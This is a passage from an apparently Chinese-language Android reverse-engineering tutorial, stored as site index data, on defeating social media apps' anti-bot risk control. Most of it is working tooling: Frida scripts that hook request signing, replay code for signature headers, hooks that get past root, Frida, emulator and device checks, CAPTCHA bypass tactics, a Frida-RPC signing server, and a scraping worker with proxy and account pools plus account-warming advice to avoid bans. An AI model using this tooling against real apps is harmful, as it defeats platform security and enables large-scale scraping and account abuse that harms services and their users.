\"com.tencent.tp.\", \"com.netease.nis.sdkwrapper\", ]; for (var i = 0; i \u003c patterns.length; i++) { if (className.indexOf(patterns[i]) === 0) { console.log(\"[Risk Class] \" + className); break; } } }, onComplete: function () {} }); }); ","date":"2025-02-13","objectID":"/reverse_engineering/android/03-case-studies/case_social_media_and_anti_bot/:4:3","tags":["Native层","签名验证","Frida","案例分析","代理池","Ghidra"],"title":"社交媒体 App 与风控案例","uri":"/reverse_engineering/android/03-case-studies/case_social_media_and_anti_bot/#43-风控-sdk-识别"},{"categories":null,"collections":null,"content":"4.4 验证码机制 当风控引擎判定请求可疑时，会触发验证码： 验证码类型 实现方式 破解难度 绕过策略 滑块验证 前端 JS/WebView 中 模拟轨迹 + 图像识别 点选文字 图片 OCR 高 OCR + 坐标计算 图片旋转 角度匹配 中 图像特征匹配 短信验证 手机接码 低 接码平台 行为验证 无感知分析 极高 需要完整模拟真实行为 ","date":"2025-02-13","objectID":"/reverse_engineering/android/03-case-studies/case_social_media_and_anti_bot/:4:4","tags":["Native层","签名验证","Frida","案例分析","代理池","Ghidra"],"title":"社交媒体 App 与风控案例","uri":"/reverse_engineering/android/03-case-studies/case_social_media_and_anti_bot/#44-验证码机制"},{"categories":null,"collections":null,"content":"5. Frida 实战 Hook 💡 思路一句话: 先用 jadx 搜索关键类名/方法名建立调用链地图 → 用 Frida 逐层 hook 验证 → 从 Java 层追到 native 层 → 最终定位核心签名/加密逻辑。 ","date":"2025-02-13","objectID":"/reverse_engineering/android/03-case-studies/case_social_media_and_anti_bot/:5:0","tags":["Native层","签名验证","Frida","案例分析","代理池","Ghidra"],"title":"社交媒体 App 与风控案例","uri":"/reverse_engineering/android/03-case-studies/case_social_media_and_anti_bot/#5-frida-实战-hook"},{"categories":null,"collections":null,"content":"5.1 Hook 签名生成全流程 以下是一个完整的签名 Hook 框架，可以捕获签名的输入和输出： // hook_full_sign.js - 完整的签名 Hook 框架 Java.perform(function () { console.log(\"[*] Starting full signature hook...\"); // ====== 第 1 层: Hook OkHttp 请求构建 ====== try { var OkHttpClient = Java.use(\"okhttp3.OkHttpClient\"); var Request = Java.use(\"okhttp3.Request\"); var RequestBuilder = Java.use(\"okhttp3.Request$Builder\"); var RequestBody = Java.use(\"okhttp3.RequestBody\"); var Buffer = Java.use(\"okio.Buffer\"); // 拦截最终发出的请求 RequestBuilder.build.implementation = function () { var request = this.build(); var url = request.url().toString(); var method = request.method(); var headers = request.headers(); console.log(\"\\n========== Request ==========\"); console.log(\"[URL] \" + method + \" \" + url); // 打印所有自定义头 for (var i = 0; i \u003c headers.size(); i++) { var name = headers.name(i); if (name.indexOf(\"X-\") === 0 || name.indexOf(\"x-\") === 0) { console.log(\"[Header] \" + name + \": \" + headers.value(i)); } } // 打印请求体 var body = request.body(); if (body !== null) { var buffer = Buffer.$new(); body.writeTo(buffer); var bodyStr = buffer.readUtf8(); if (bodyStr.length \u003c 2000) { console.log(\"[Body] \" + bodyStr); } else { console.log(\"[Body] (length=\" + bodyStr.length + \") \" + bodyStr.substring(0, 200) + \"...\"); } } console.log(\"==============================\\n\"); return request; }; } catch (e) { console.log(\"[-] OkHttp hook failed: \" + e); } // ====== 第 2 层: Hook 签名生成函数 ====== // 需要根据实际 App 调整类名和方法名 try { var SignHelper = Java.use(\"com.example.app.security.SignHelper\"); // Hook 主签名方法 SignHelper.getSign.overload( \"java.util.Map\", \"java.lang.String\" ).implementation = function (params, body) { console.log(\"\\n===== SignHelper.getSign =====\"); // 打印参与签名的所有参数 var iterator = params.entrySet().iterator(); while (iterator.hasNext()) { var entry = iterator.next(); console.log(\" \" + entry.getKey() + \" = \" + entry.getValue()); } if (body !== null) { console.log(\"[Body for sign] \" + body.substring(0, 200)); } var result = this.getSign(params, body); console.log(\"[Sign Result] \" + result); console.log(\"==============================\\n\"); return result; }; } catch (e) { console.log(\"[-] SignHelper hook failed: \" + e); } // ====== 第 3 层: Hook Native 层 ====== var soName = \"libsecurity.so\"; var baseAddr = Module.findBaseAddress(soName); if (baseAddr) { console.log(\"[+] \" + soName + \" base: \" + baseAddr); // Hook JNI_OnLoad 查看初始化逻辑 var jniOnLoad = Module.findExportByName( soName, \"JNI_OnLoad\" ); if (jniOnLoad) { Interceptor.attach(jniOnLoad, { onEnter: function (args) { console.log(\"[+] JNI_OnLoad called\"); }, onLeave: function (retval) { console.log(\"[+] JNI_OnLoad returned: \" + retval); } }); } // Hook 导出的签名函数 var exports = Module.enumerateExports(soName); exports.forEach(function (exp) { if (exp.name.indexOf(\"sign\") !== -1 || exp.name.indexOf(\"Sign\") !== -1 || exp.name.indexOf(\"encrypt\") !== -1) { console.log(\"[Export] \" + exp.name + \" @ \" + exp.address); } }); } }); ","date":"2025-02-13","objectID":"/reverse_engineering/android/03-case-studies/case_social_media_and_anti_bot/:5:1","tags":["Native层","签名验证","Frida","案例分析","代理池","Ghidra"],"title":"社交媒体 App 与风控案例","uri":"/reverse_engineering/android/03-case-studies/case_social_media_and_anti_bot/#51-hook-签名生成全流程"},{"categories":null,"collections":null,"content":"5.2 Dump 签名参数并生成 Python 复现代码 #!/usr/bin/env python3 \"\"\" sign_replay.py - 配合 Frida Hook 数据复现签名算法 使用方式: 1. 先用 Frida Hook 脚本收集签名的输入输出样本 2. 根据收集到的数据分析签名逻辑 3. 用本脚本复现签名并验证 \"\"\" import hashlib import hmac import struct import time import requests class SignGenerator: \"\"\"签名生成器 - 根据逆向结果实现\"\"\" def __init__(self, device_id, install_id, session_key=None): self.device_id = device_id self.install_id = install_id self.session_key = session_key or b\"\" def generate_sign(self, url_path, query_params, body=None, cookies=None): \"\"\" 生成 API 请求签名 参数: url_path: 请求路径，如 \"/api/v2/feed\" query_params: dict, URL 查询参数 body: bytes, POST 请求体（可选） cookies: str, Cookie 字符串（可选） 返回: dict, 包含 X-Gorgon 和 X-Khronos \"\"\" timestamp = int(time.time()) # 第 1 步: 对查询参数排序并拼接 sorted_params = sorted(query_params.items()) query_string = \"\u0026\".join( f\"{k}={v}\" for k, v in sorted_params ) # 第 2 步: 分别计算 MD5 url_md5 = hashlib.md5( query_string.encode() ).digest() body_md5 = hashlib.md5( body if body else b\"\" ).digest() cookie_md5 = hashlib.md5( cookies.encode() if cookies else b\"\" ).digest() # 第 3 步: 组装签名输入 sign_input = bytearray() # magic header (4 bytes) sign_input.extend(b\"\\x04\\x04\") sign_input.extend(struct.pack(\"\u003cH\", 0)) # timestamp (4 bytes, little-endian) sign_input.extend(struct.pack(\"\u003cI\", timestamp)) # url md5, body md5, cookie md5 (各 16 bytes) sign_input.extend(url_md5) sign_input.extend(body_md5) sign_input.extend(cookie_md5) # session key sign_input.extend(self.session_key) # 第 4 步: 核心签名计算 # （此处为简化示例，实际算法需根据逆向结果实现） signature = self._core_sign(bytes(sign_input)) return { \"X-Gorgon\": signature.hex(), \"X-Khronos\": str(timestamp), } def _core_sign(self, data): \"\"\" 核心签名算法 - 需要根据 SO 逆向结果实现 这里仅展示框架，实际算法会更复杂 \"\"\" # 示例: 多轮异或 + 查表 # 实际需要从 SO 中提取 S-Box 和变换逻辑 s_box = self._get_s_box() result = bytearray(20) for i in range(len(data)): result[i % 20] ^= s_box[data[i]] return bytes(result) @staticmethod def _get_s_box(): \"\"\"从 SO 中提取的 S-Box 查找表（256 字节）\"\"\" # 实际值需要从 Frida dump 或 IDA 分析中获取 return bytes(range(256)) def make_api_request(sign_gen, endpoint, params, body=None): \"\"\"发起带签名的 API 请求\"\"\" base_url = \"https://api.example.com\" # 添加设备参数 params.update({ \"device_id\": sign_gen.device_id, \"iid\": sign_gen.install_id, \"os_version\": \"14\", \"device_type\": \"Pixel 7 Pro\", }) # 生成签名 headers = sign_gen.generate_sign( endpoint, params, body ) headers[\"User-Agent\"] = ( \"com.example.app/30.0.0 \" \"(Linux; U; Android 14; zh_CN; Pixel 7 Pro; \" \"Build/AP2A.240305.019)\" ) # 发起请求 url = f\"{base_url}{endpoint}\" if body: resp = requests.post( url, params=params, data=body, headers=headers ) else: resp = requests.get(url, params=params, headers=headers) return resp.json() # 使用示例 if __name__ == \"__main__\": signer = SignGenerator( device_id=\"7012345678901234567\", install_id=\"7098765432109876543\", ) result = make_api_request( signer, \"/api/v2/feed\", {\"count\": \"20\", \"cursor\": \"0\"}, ) print(result) ","date":"2025-02-13","objectID":"/reverse_engineering/android/03-case-studies/case_social_media_and_anti_bot/:5:2","tags":["Native层","签名验证","Frida","案例分析","代理池","Ghidra"],"title":"社交媒体 App 与风控案例","uri":"/reverse_engineering/android/03-case-studies/case_social_media_and_anti_bot/#52-dump-签名参数并生成-python-复现代码"},{"categories":null,"collections":null,"content":"5.3 绕过设备检查 // bypass_device_check.js - 绕过设备合法性检查 Java.perform(function () { // 1. 绕过 Google Play Services 检查 try { var GoogleApiAvailability = Java.use( \"com.google.android.gms.common.GoogleApiAvailability\" ); GoogleApiAvailability.isGooglePlayServicesAvailable .implementation = function (context) { console.log(\"[*] Bypassing Google Play check\"); return 0; // SUCCESS }; } catch (e) {} // 2. 绕过 SafetyNet/Play Integrity 检测 try { var SafetyNet = Java.use( \"com.google.android.gms.safetynet.SafetyNetClient\" ); SafetyNet.attest.implementation = function (nonce, apiKey) { console.log(\"[*] SafetyNet attest intercepted\"); // 返回预先构造的合法 response return this.attest(nonce, apiKey); }; } catch (e) {} // 3. 绕过设备注册校验 // 许多 App 在首次启动时会向服务器注册设备 // 返回一个 device_token，后续请求需要携带 try { var DeviceRegister = Java.use( \"com.example.app.device.DeviceRegister\" ); DeviceRegister.register.implementation = function () { console.log(\"[*] Device registration intercepted\"); var result = this.register(); console.log(\"[*] device_token: \" + result); return result; }; } catch (e) {} // 4. 伪造设备注册响应 // 如果服务器拒绝注册（检测到异常设备），可以直接 // Hook 返回值，注入一个预先获取的合法 token try { var SharedPrefs = Java.use( \"android.app.SharedPreferencesImpl$EditorImpl\" ); SharedPrefs.putString.implementation = function (key, value) { if (key === \"device_token\" || key === \"install_id\") { console.log(\"[SharedPrefs] \" + key + \" = \" + value); } return this.putString(key, value); }; } catch (e) {} }); ","date":"2025-02-13","objectID":"/reverse_engineering/android/03-case-studies/case_social_media_and_anti_bot/:5:3","tags":["Native层","签名验证","Frida","案例分析","代理池","Ghidra"],"title":"社交媒体 App 与风控案例","uri":"/reverse_engineering/android/03-case-studies/case_social_media_and_anti_bot/#53-绕过设备检查"},{"categories":null,"collections":null,"content":"6. 反检测绕过 💡 思路一句话: 识别检测类型（Root/Frida/模拟器）→ 搜索特征字符串定位检测代码 → 逐个 hook 返回值绕过 → 组合成统一绕过框架。 ","date":"2025-02-13","objectID":"/reverse_engineering/android/03-case-studies/case_social_media_and_anti_bot/:6:0","tags":["Native层","签名验证","Frida","案例分析","代理池","Ghidra"],"title":"社交媒体 App 与风控案例","uri":"/reverse_engineering/android/03-case-studies/case_social_media_and_anti_bot/#6-反检测绕过"},{"categories":null,"collections":null,"content":"6.1 Root 检测绕过 社交 App 通常会检测设备是否已 Root，并拒绝在 Root 设备上运行或降低信任等级。 // bypass_root.js - Root 检测绕过 Java.perform(function () { // 方法 1: Hook 文件存在性检查 var File = Java.use(\"java.io.File\"); File.exists.implementation = function () { var path = this.getAbsolutePath(); var blacklist = [ \"/system/bin/su\", \"/system/xbin/su\", \"/sbin/su\", \"/su/bin/su\", \"/data/local/su\", \"/data/local/bin/su\", \"/system/app/Superuser.apk\", \"/system/app/SuperSU\", \"/system/app/Magisk\", \"/data/adb/magisk\", ]; for (var i = 0; i \u003c blacklist.length; i++) { if (path === blacklist[i]) { console.log(\"[Root] Hiding: \" + path); return false; } } return this.exists(); }; // 方法 2: Hook Runtime.exec（检测 su 命令是否可执行） var Runtime = Java.use(\"java.lang.Runtime\"); Runtime.exec.overload(\"java.lang.String\").implementation = function (cmd) { if (cmd.indexOf(\"su\") !== -1 || cmd.indexOf(\"which\") !== -1) { console.log(\"[Root] Blocking exec: \" + cmd); throw Java.use(\"java.io.IOException\") .$new(\"Permission denied\"); } return this.exec(cmd); }; // 方法 3: Hook System.getProperty var System = Java.use(\"java.lang.System\"); System.getProperty.overload(\"java.lang.String\").implementation = function (key) { if (key === \"ro.build.tags\") { return \"release-keys\"; // 隐藏 test-keys 标志 } return this.getProperty(key); }; // 方法 4: Hook PackageManager（隐藏 Magisk 等 App） var PM = Java.use( \"android.app.ApplicationPackageManager\" ); PM.getInstalledPackages.implementation = function (flags) { var packages = this.getInstalledPackages(flags); var hideList = [ \"com.topjohnwu.magisk\", \"eu.chainfire.supersu\", \"com.koushikdutta.superuser\", \"com.noshufou.android.su\", \"com.thirdparty.superuser\", ]; var iterator = packages.iterator(); while (iterator.hasNext()) { var pkg = iterator.next(); var pkgName = pkg.packageName.value; for (var i = 0; i \u003c hideList.length; i++) { if (pkgName === hideList[i]) { console.log(\"[Root] Hiding package: \" + pkgName); iterator.remove(); break; } } } return packages; }; console.log(\"[+] Root detection bypass loaded.\"); }); ","date":"2025-02-13","objectID":"/reverse_engineering/android/03-case-studies/case_social_media_and_anti_bot/:6:1","tags":["Native层","签名验证","Frida","案例分析","代理池","Ghidra"],"title":"社交媒体 App 与风控案例","uri":"/reverse_engineering/android/03-case-studies/case_social_media_and_anti_bot/#61-root-检测绕过"},{"categories":null,"collections":null,"content":"6.2 Frida 检测绕过 现代 App 的 Frida 检测手段越来越丰富。以下是常见检测与绕过策略： 检测手段 检测原理 绕过策略 端口扫描 扫描 27042 默认端口 使用非默认端口启动 Frida /proc/maps 扫描 查找 frida-agent 内存映射 Hook fopen/open，过滤 frida 字符串 线程名称检测 查找 gum-js-loop 等线程 Hook pthread_create，修改线程名 内联 Hook 检测 检测函数 prologue 是否被修改 使用 Stalker 替代 Interceptor D-Bus 协议检测 向本地发送 D-Bus AUTH 请求 Hook send/recv 过滤 D-Bus 数据 SO 文件名检测 搜索 frida-agent.so 重命名 Frida SO 文件 // bypass_frida_detect.js - Frida 反检测 // 注意: 需要在 App 的反检测代码执行之前加载 // 1. Hook libc 的 open 函数，过滤 /proc/self/maps 中的 frida 痕迹 Interceptor.attach(Module.findExportByName(\"libc.so\", \"open\"), { onEnter: function (args) { var path = args[0].readUtf8String(); this.isMaps = (path \u0026\u0026 path.indexOf(\"/proc/\") !== -1 \u0026\u0026 path.indexOf(\"/maps\") !== -1); }, onLeave: function (retval) { if (this.isMaps) { // 这里不直接修改 open 的返回值 // 而是后续 Hook read 来过滤内容 } } }); // 2. Hook strstr，防止检测 frida 关键字 Interceptor.attach(Module.findExportByName(\"libc.so\", \"strstr\"), { onEnter: function (args) { this.haystack = args[0]; this.needle = args[1].readUtf8String(); }, onLeave: function (retval) { if (this.needle !== null) { var keywords = [ \"frida\", \"FRIDA\", \"gum-js-loop\", \"gmain\", \"gdbus\", \"linjector\" ]; for (var i = 0; i \u003c keywords.length; i++) { if (this.needle.indexOf(keywords[i]) !== -1) { retval.replace(ptr(0)); break; } } } } }); // 3. Hook pthread_create，过滤 frida 相关线程 Interceptor.attach( Module.findExportByName(\"libc.so\", \"pthread_create\"), { onEnter: function (args) { // args[2] 是线程函数地址 // 某些检测会创建专门的检测线程 }, onLeave: function (retval) {} } ); // 4. 修改 Frida 默认端口 // 在启动时使用: frida -H 0.0.0.0:8888 // 或者: frida-server -l 0.0.0.0:12345 console.log(\"[+] Frida anti-detection bypass loaded.\"); ","date":"2025-02-13","objectID":"/reverse_engineering/android/03-case-studies/case_social_media_and_anti_bot/:6:2","tags":["Native层","签名验证","Frida","案例分析","代理池","Ghidra"],"title":"社交媒体 App 与风控案例","uri":"/reverse_engineering/android/03-case-studies/case_social_media_and_anti_bot/#62-frida-检测绕过"},{"categories":null,"collections":null,"content":"6.3 模拟器检测绕过 // bypass_emulator.js - 模拟器检测绕过 Java.perform(function () { // 1. 修改可疑的系统属性 var SystemProperties = Java.use(\"android.os.SystemProperties\"); SystemProperties.get.overload( \"java.lang.String\", \"java.lang.String\" ).implementation = function (key, def) { var fakeProps = { \"ro.hardware\": \"cheetah\", \"ro.product.model\": \"Pixel 7 Pro\", \"ro.kernel.qemu\": \"0\", \"ro.boot.qemu\": \"0\", \"ro.hardware.chipname\": \"tensor\", \"gsm.version.baseband\": \"g5300q-230913-231003-B-11397125\", \"init.svc.qemu-props\": \"\", \"init.svc.qemud\": \"\", }; if (key in fakeProps) { console.log(\"[Emu] Faking prop: \" + key); return fakeProps[key]; } return this.get(key, def); }; // 2. 隐藏模拟器特征文件 var File = Java.use(\"java.io.File\"); var origExists = File.exists; File.exists.implementation = function () { var path = this.getAbsolutePath(); var emuFiles = [ \"/dev/socket/qemud\", \"/dev/qemu_pipe\", \"/system/bin/nox-prop\", \"/system/bin/microvirtd\", \"/system/bin/nox\", \"/system/lib/libc_malloc_debug_qemu.so\", \"/dev/goldfish_pipe\", ]; for (var i = 0; i \u003c emuFiles.length; i++) { if (path === emuFiles[i]) { console.log(\"[Emu] Hiding file: \" + path); return false; } } return origExists.call(this); }; // 3. 伪造传感器数据（模拟器通常缺少真实传感器） var SensorManager = Java.use(\"android.hardware.SensorManager\"); SensorManager.getSensorList.implementation = function (type) { var list = this.getSensorList(type); // 模拟器通常传感器数量极少 // 如果传感器数量不足，风控会标记为可疑 console.log(\"[Emu] getSensorList type=\" + type + \" count=\" + list.size()); return list; }; // 4. 伪造电池信息（模拟器电池状态固定） var BatteryManager = Java.use(\"android.os.BatteryManager\"); BatteryManager.getIntProperty.implementation = function (id) { if (id === 4) { // BATTERY_PROPERTY_CAPACITY return 73; // 返回一个看起来真实的电量 } return this.getIntProperty(id); }; console.log(\"[+] Emulator detection bypass loaded.\"); }); ","date":"2025-02-13","objectID":"/reverse_engineering/android/03-case-studies/case_social_media_and_anti_bot/:6:3","tags":["Native层","签名验证","Frida","案例分析","代理池","Ghidra"],"title":"社交媒体 App 与风控案例","uri":"/reverse_engineering/android/03-case-studies/case_social_media_and_anti_bot/#63-模拟器检测绕过"},{"categories":null,"collections":null,"content":"6.4 综合反检测框架 在实际项目中，建议将所有绕过脚本整合为一个统一的框架： // anti_detect_framework.js - 综合反检测框架 // 启动命令: frida -U -f com.target.app -l anti_detect_framework.js // --no-pause -o output.log var config = { hideRoot: true, hideFrida: true, hideEmulator: true, fakeDevice: true, logLevel: \"info\", // \"debug\" | \"info\" | \"warn\" }; function log(level, tag, msg) { var levels = { debug: 0, info: 1, warn: 2 }; if (levels[level] \u003e= levels[config.logLevel]) { console.log(\"[\" + level.toUpperCase() + \"][\" + tag + \"] \" + msg); } } // 按顺序加载各模块 if (config.hideFrida) { // 最先加载 - 必须在 App 检测代码运行前 log(\"info\", \"Init\", \"Loading Frida bypass...\"); // ... (加载 bypass_frida_detect.js 的内容) } if (config.hideRoot) { log(\"info\", \"Init\", \"Loading Root bypass...\"); // ... (加载 bypass_root.js 的内容) } if (config.hideEmulator) { log(\"info\", \"Init\", \"Loading Emulator bypass...\"); // ... (加载 bypass_emulator.js 的内容) } if (config.fakeDevice) { log(\"info\", \"Init\", \"Loading device spoofing...\"); // ... (加载 fake_device.js 的内容) } log(\"info\", \"Init\", \"Anti-detection framework loaded.\"); ","date":"2025-02-13","objectID":"/reverse_engineering/android/03-case-studies/case_social_media_and_anti_bot/:6:4","tags":["Native层","签名验证","Frida","案例分析","代理池","Ghidra"],"title":"社交媒体 App 与风控案例","uri":"/reverse_engineering/android/03-case-studies/case_social_media_and_anti_bot/#64-综合反检测框架"},{"categories":null,"collections":null,"content":"7. 数据采集架构 💡 思路一句话: 将逆向成果工程化——签名服务独立部署 + 代理池 + 账号池 + Worker 集群，实现稳定可扩展的数据采集。 ","date":"2025-02-13","objectID":"/reverse_engineering/android/03-case-studies/case_social_media_and_anti_bot/:7:0","tags":["Native层","签名验证","Frida","案例分析","代理池","Ghidra"],"title":"社交媒体 App 与风控案例","uri":"/reverse_engineering/android/03-case-studies/case_social_media_and_anti_bot/#7-数据采集架构"},{"categories":null,"collections":null,"content":"7.1 系统架构设计 一个生产级的社交媒体数据采集系统需要考虑稳定性、可扩展性和反封禁能力： ┌────────────────────────────────────────────────────────────────────┐ │ 数据采集系统架构 │ ├────────────────────────────────────────────────────────────────────┤ │ │ │ 任务调度层 │ │ ┌──────────────────────────────────────────────────────────┐ │ │ │ Redis / RabbitMQ 任务队列 │ │ │ │ ┌──────────┐ ┌──────────┐ ┌──────────┐ │ │ │ │ │ 用户列表 │ │ 帖子列表 │ │ 评论列表 │ │ │ │ │ │ 采集任务 │ │ 采集任务 │ │ 采集任务 │ │ │ │ │ └──────────┘ └──────────┘ └──────────┘ │ │ │ └──────────────────────┬──────────────────────────────────┘ │ │ │ │ │ 执行引擎层 ▼ │ │ ┌──────────────────────────────────────────────────────────┐ │ │ │ Worker 集群 (Python / Go) │ │ │ │ ┌──────────┐ ┌──────────┐ ┌──────────┐ │ │ │ │ │ Worker 1 │ │ Worker 2 │ │ Worker N │ │ │ │ │ │ 签名模块 │ │ 签名模块 │ │ 签名模块 │ │ │ │ │ │ 账号池 │ │ 账号池 │ │ 账号池 │ │ │ │ │ └─────┬────┘ └─────┬────┘ └─────┬────┘ │ │ │ └────────┼─────────────┼─────────────┼────────────────────┘ │ │ │ │ │ │ │ 代理层 ▼ ▼ ▼ │ │ ┌──────────────────────────────────────────────────────────┐ │ │ │ 代理池管理器 │ │ │ │ 住宅代理 / 机房代理 / 4G 代理 │ │ │ │ 自动轮换 / 健康检查 / 地域分配 │ │ │ └──────────────────────┬──────────────────────────────────┘ │ │ │ │ │ 存储层 ▼ │ │ ┌──────────────────────────────────────────────────────────┐ │ │ │ MongoDB / PostgreSQL + S3 / MinIO │ │ │ │ 结构化数据 + 媒体文件存储 │ │ │ └──────────────────────────────────────────────────────────┘ │ │ │ └────────────────────────────────────────────────────────────────────┘ ","date":"2025-02-13","objectID":"/reverse_engineering/android/03-case-studies/case_social_media_and_anti_bot/:7:1","tags":["Native层","签名验证","Frida","案例分析","代理池","Ghidra"],"title":"社交媒体 App 与风控案例","uri":"/reverse_engineering/android/03-case-studies/case_social_media_and_anti_bot/#71-系统架构设计"},{"categories":null,"collections":null,"content":"7.2 签名服务封装 将逆向得到的签名算法封装为独立的微服务，供采集 Worker 调用： #!/usr/bin/env python3 \"\"\" sign_server.py - 签名服务 (基于 Flask) 两种模式: 1. 纯 Python 复现模式 - 适用于已完全逆向的简单算法 2. RPC 桥接模式 - 通过 Frida RPC 调用真机上的签名函数 \"\"\" from flask import Flask, request, jsonify import frida import json import threading import time app = Flask(__name__) class FridaSignBridge: \"\"\"通过 Frida RPC 调用真机签名函数\"\"\" def __init__(self, device_id=None, package_name=None): self.package_name = package_name or \"com.target.app\" self.device = None self.session = None self.script = None self.rpc = None self.lock = threading.Lock() self._connect(device_id) def _connect(self, device_id): \"\"\"连接到 Frida 设备\"\"\" if device_id: self.device = frida.get_device(device_id) else: self.device = frida.get_usb_device() self.session = self.device.attach(self.package_name) # 注入签名导出脚本 js_code = \"\"\" rpc.exports = { sign: function(url, params, body) { // 调用 App 内部的签名函数 var result = {}; Java.perform(function() { var SignHelper = Java.use( \"com.target.app.security.SignHelper\" ); var HashMap = Java.use(\"java.util.HashMap\"); var map = HashMap.$new(); var paramObj = JSON.parse(params); for (var key in paramObj) { map.put(key, paramObj[key]); } var signResult = SignHelper.getSign(map, body); result = JSON.parse(signResult.toString()); }); return result; }, getDeviceInfo: function() { var info = {}; Java.perform(function() { var Build = Java.use(\"android.os.Build\"); info.model = Build.MODEL.value; info.brand = Build.BRAND.value; info.device = Build.DEVICE.value; }); return info; } }; \"\"\" self.script = self.session.create_script(js_code) self.script.load() self.rpc = self.script.exports_sync def get_sign(self, url, params, body=\"\"): \"\"\"线程安全地获取签名\"\"\" with self.lock: return self.rpc.sign( url, json.dumps(params), body ) # 初始化签名桥接 bridge = None @app.route(\"/sign\", methods=[\"POST\"]) def generate_sign(): \"\"\" 签名接口 请求体: { \"url\": \"/api/v2/feed\", \"params\": {\"count\": \"20\", \"cursor\": \"0\"}, \"body\": \"\" } \"\"\" data = request.json try: result = bridge.get_sign( data[\"url\"], data[\"params\"], data.get(\"body\", \"\"), ) return jsonify({\"code\": 0, \"data\": result}) except Exception as e: return jsonify({\"code\": -1, \"error\": str(e)}), 500 @app.route(\"/health\", methods=[\"GET\"]) def health_check(): return jsonify({\"status\": \"ok\", \"timestamp\": int(time.time())}) if __name__ == \"__main__\": bridge = FridaSignBridge(package_name=\"com.target.app\") app.run(host=\"0.0.0.0\", port=5000, threaded=True) ","date":"2025-02-13","objectID":"/reverse_engineering/android/03-case-studies/case_social_media_and_anti_bot/:7:2","tags":["Native层","签名验证","Frida","案例分析","代理池","Ghidra"],"title":"社交媒体 App 与风控案例","uri":"/reverse_engineering/android/03-case-studies/case_social_media_and_anti_bot/#72-签名服务封装"},{"categories":null,"collections":null,"content":"7.3 采集 Worker 实现 #!/usr/bin/env python3 \"\"\" worker.py - 数据采集 Worker \"\"\" import json import random import time import logging import requests from redis import Redis logging.basicConfig(level=logging.INFO) logger = logging.getLogger(__name__) class ProxyManager: \"\"\"代理池管理\"\"\" def __init__(self, redis_client, proxy_key=\"proxy:pool\"): self.redis = redis_client self.proxy_key = proxy_key def get_proxy(self): \"\"\"获取一个可用代理\"\"\" proxy = self.redis.srandmember(self.proxy_key) if proxy: return {\"http\": proxy.decode(), \"https\": proxy.decode()} return None def report_bad(self, proxy_url): \"\"\"上报失效代理\"\"\" self.redis.srem(self.proxy_key, proxy_url) logger.warning(f\"Removed bad proxy: {proxy_url}\") class AccountManager: \"\"\"账号池管理\"\"\" def __init__(self, redis_client, account_key=\"account:pool\"): self.redis = redis_client self.account_key = account_key def get_account(self): \"\"\"获取一个可用账号（轮询方式）\"\"\" account_json = self.redis.lpop(self.account_key) if account_json: account = json.loads(account_json) # 放回队尾 self.redis.rpush(self.account_key, account_json) return account return None def disable_account(self, account_id): \"\"\"禁用被封禁的账号\"\"\" self.redis.sadd(\"account:disabled\", account_id) logger.warning(f\"Account disabled: {account_id}\") class CrawlWorker: \"\"\"采集 Worker\"\"\" SIGN_SERVER = \"http://localhost:5000\" def __init__(self, redis_url=\"redis://localhost:6379\"): self.redis = Redis.from_url(redis_url) self.proxy_mgr = ProxyManager(self.redis) self.account_mgr = AccountManager(self.redis) self.session = requests.Session() def get_sign(self, url, params, body=\"\"): \"\"\"调用签名服务\"\"\" resp = self.session.post( f\"{self.SIGN_SERVER}/sign\", json={\"url\": url, \"params\": params, \"body\": body}, timeout=5, ) return resp.json()[\"data\"] def fetch_feed(self, cursor=\"0\", count=20): \"\"\"采集首页 Feed\"\"\" endpoint = \"/api/v2/feed\" account = self.account_mgr.get_account() if not account: raise RuntimeError(\"No available account\") params = { \"cursor\": cursor, \"count\": str(count), \"device_id\": account[\"device_id\"], \"iid\": account[\"install_id\"], } # 获取签名 sign_headers = self.get_sign(endpoint, params) # 构建请求 headers = { \"User-Agent\": account[\"user_agent\"], **sign_headers, } proxy = self.proxy_mgr.get_proxy() try: resp = self.session.get( f\"https://api.example.com{endpoint}\", params=params, headers=headers, proxies=proxy, timeout=10, ) if resp.status_code == 429: logger.warning(\"Rate limited, backing off...\") time.sleep(random.uniform(30, 60)) return None data = resp.json() if data.get(\"status_code\") == 2154: # 需要验证码 logger.warning(\"Captcha required\") return None return data except requests.RequestException as e: logger.error(f\"Request failed: {e}\") if proxy: self.proxy_mgr.report_bad( proxy.get(\"http\", \"\") ) return None def run(self, task_queue=\"task:feed\"): \"\"\"主循环\"\"\" logger.info(\"Worker started.\") while True: task = self.redis.blpop(task_queue, timeout=30) if task is None: continue task_data = json.loads(task[1]) cursor = task_data.get(\"cursor\", \"0\") result = self.fetch_feed(cursor=cursor) if result and result.get(\"has_more\"): # 生成下一页任务 next_cursor = result[\"cursor\"] self.redis.rpush( task_queue, json.dumps({\"cursor\": str(next_cursor)}), ) # 存储结果 if result and \"data\" in result: self.redis.rpush( \"result:feed\", json.dumps(result[\"data\"]), ) # 随机延迟，模拟人类行为 delay = random.uniform(2.0, 8.0) time.sleep(delay) ","date":"2025-02-13","objectID":"/reverse_engineering/android/03-case-studies/case_social_media_and_anti_bot/:7:3","tags":["Native层","签名验证","Frida","案例分析","代理池","Ghidra"],"title":"社交媒体 App 与风控案例","uri":"/reverse_engineering/android/03-case-studies/case_social_media_and_anti_bot/#73-采集-worker-实现"},{"categories":null,"collections":null,"content":"8. 风控对抗策略 💡 思路一句话: 多维度模拟真实用户——账号预热 + IP 轮换 + 行为随机化 + 异常熔断，降低被风控系统标记的概率。 ","date":"2025-02-13","objectID":"/reverse_engineering/android/03-case-studies/case_social_media_and_anti_bot/:8:0","tags":["Native层","签名验证","Frida","案例分析","代理池","Ghidra"],"title":"社交媒体 App 与风控案例","uri":"/reverse_engineering/android/03-case-studies/case_social_media_and_anti_bot/#8-风控对抗策略"},{"categories":null,"collections":null,"content":"8.1 账号池管理 策略 说明 效果 账号预热 新注册账号先模拟正常使用 3-7 天 降低新号风控等级 轮换机制 每个账号每天限定请求量，轮换使用 避免单账号异常 信誉分级 高/中/低信誉账号分配不同任务 高价值任务用高信誉号 异常隔离 触发验证码的账号暂时隔离冷却 避免连续触发风控 信息完善 补充头像、昵称、简介等个人信息 提高账号可信度 ","date":"2025-02-13","objectID":"/reverse_engineering/android/03-case-studies/case_social_media_and_anti_bot/:8:1","tags":["Native层","签名验证","Frida","案例分析","代理池","Ghidra"],"title":"社交媒体 App 与风控案例","uri":"/reverse_engineering/android/03-case-studies/case_social_media_and_anti_bot/#81-账号池管理"},{"categories":null,"collections":null,"content":"8.2 IP 代理策略 \"\"\" proxy_strategy.py - 代理策略 不同类型代理的特点: - 机房代理: 便宜但容易被识别，适合低风控接口 - 住宅代理: 价格中等，IP 信誉好，适合主力采集 - 4G 代理: 